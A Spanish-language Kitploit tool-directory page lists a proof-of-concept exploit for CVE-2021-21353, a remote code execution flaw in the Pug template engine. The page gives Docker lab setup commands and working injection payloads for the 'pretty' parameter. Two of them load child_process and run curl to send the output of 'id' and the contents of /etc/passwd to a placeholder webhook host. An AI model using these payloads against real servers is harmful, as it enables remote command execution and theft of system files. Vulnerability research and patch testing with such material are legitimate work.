Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PUG-RCE-CVE-2021-21353-POC — Prueba de concepto de exploit para CVE-2021-21353, una vulnerabilidad de ejecución remota de código en el motor de plantillas Pug versiones <=3.0.0. Demuestra la inyección de payload a través del parámetro 'pretty' para ejecutar comandos arbitrarios. | Kitploit
Herramientas/GitHubGitHub/jinsu9758/pug-rce-cve-2021-21353-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubjinsu9758/pug-rce-cve-2021-21353-poc

PUG-RCE-CVE-2021-21353-POC

Prueba de concepto de exploit para CVE-2021-21353, una vulnerabilidad de ejecución remota de código en el motor de plantillas Pug versiones <=3.0.0. Demuestra la inyección de payload a través del parámetro 'pretty' para ejecutar comandos arbitrarios.

Ver Repositorio
2hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PUG-RCE (CVE-2021-21353) POC

Información de la vulnerabilidad

Número CVE: cve-2021-21353
Puntuación CVSS: 8.1

< Versión vulnerable >
pug_version <= 3.0.0
2.0.3 < pug-code-gen version, 3.0.0<= pug-code-gen version < 3.0.2


Configuración del entorno

git clone https://github.com/jinsu9758/PUG-RCE-CVE-2021-21353-POC.git
cd PUG-RCE-CVE-2021-21353-POC
sudo docker compose up

※ Accesible a través del puerto 3000


Payload

Prueba de payload
?pretty=');console.log('executed');//

Payload final
?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(id)\" <webhook_site>');_=('

?pretty=');process.mainModule.constructor._load('child_process').exec('curl -X POST -d \"$(cat /etc/passwd)\" <webhook_site>');_=('

Descargar herramienta